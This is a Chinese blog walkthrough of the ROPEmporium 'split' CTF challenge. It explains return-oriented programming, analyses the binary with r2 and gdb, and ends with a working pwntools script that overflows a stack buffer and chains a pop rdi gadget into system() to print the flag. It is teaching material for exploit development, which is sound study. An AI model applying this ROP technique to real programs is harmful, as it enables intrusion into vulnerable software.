ROPEmporium通关全解(二)

前言

  1. 关于ROP
    ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
    ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
  2. 本系列rop实战题目的背景
    来自ROPEmporium
    旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。

操作
这一关是split
先使用file命令看一下
在这里插入图片描述
checksec
在这里插入图片描述
可以看到nx enabled,即开启了NX,也就是栈不可执行
先载入r2分析
在这里插入图片描述使用afl列出涉及的函数
在这里插入图片描述
看到了三个可能是比较重要的函数
main:开始分析的地方
pwnme,usefulfunction:提示的这么明显了
先反汇编main
在这里插入图片描述在上图中注意到其调用了pwnme
所以我们顺着分析pwnme
同样反汇编
在这里插入图片描述
从上图可以看到有一个32字节的缓冲区,可以通过fgets接收96字节的输入从而溢出,也是和上一题ret2win一样溢出rip吗?
我们先使用gdb分析
在这里插入图片描述
然后往input中写入随机的100字节的序列
在这里插入图片描述
将input作为输入运行
在这里插入图片描述
然后pattern_search
在这里插入图片描述可以看到溢出rsp需要40个字节,我们可以尝试通过调用其他函数吗,比如usefulfunction?
我们回到r2反汇编usefulfunction
在这里插入图片描述
我们可以看到它调用将执行/ bin / ls的system()函数。
这个函数的地址是0x00400807,所以我们需要40个字节的随机数据和这个地址。
简单的使用python生成exp写入input
在这里插入图片描述
然后在gdb中测试
在这里插入图片描述
可以看到成功执行了/bin/ls
不过我们的目标是打印flag,而不是ls,所以继续研究下去
回到r2中使用izz列出字符串
在这里插入图片描述我们在其中看到了
在这里插入图片描述可以打印flag的字符串
这个字符串的地址是0x0001060
现在我们尝试溢出栈,直接执行到system()
不过我们要找到一个办法,直接将这个地址传入RDI寄存器(x86-64传参时依次通过rdi,rsi,,,传参,rdi是第一个)
这时候我们就需要rop gadget了,简单地说,它们就是写以ret指令结尾的指令序列
在这里插入图片描述
找到了很多gadget,那么哪个符合要求呢
我们前面提到必须将值传入RDI,所以要找到pop rdi
所以符合要求的是地址是0x400883
我们传递这个gadget地址(0x400883)后,它会把栈中下一个值传到RDI寄存器中,所以下一个地址应该是能够打印flag的字符串的地址(0x601060),最后是system()函数的地址(0x400810)
使用python简单地将exp输出到input
在这里插入图片描述
在gdb中测试,可以看到成功打印出flag
在这里插入图片描述同样也可以通过pwntools快速写一个exp,完整代码在2.py

from pwn import *

io = process("./split")

elf = ELF("./split")

system_addr = elf.symbols['system']

pop_rdi_ret = 0x0000000000400883
cat_flag_addr = 0x601060

io.recvuntil(">")

payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)

io.sendline(payload)

io.interactive()

运行如图
在这里插入图片描述


题目来自ROPEmporium,另参考如下资源:

https://medium.com/@int0x33/
https://paper.seebug.org/272/
https://www.rootnetsec.com/
https://bestwing.me/ropemporium-all-writeup.html
https://firmianay.github.io/2017/11/02/rop_emporium.html
https://www.oipapio.com/cn/article-5389490
http://ascii.911cha.com/
https://www.bejson.com/convert/ox2str/
https://larry.ngrep.me/2018/06/14/rop-emporium-write-up/
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
https://www.jianshu.com/p/a9ad38ad33e5
https://zhuanlan.zhihu.com/p/27339191
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值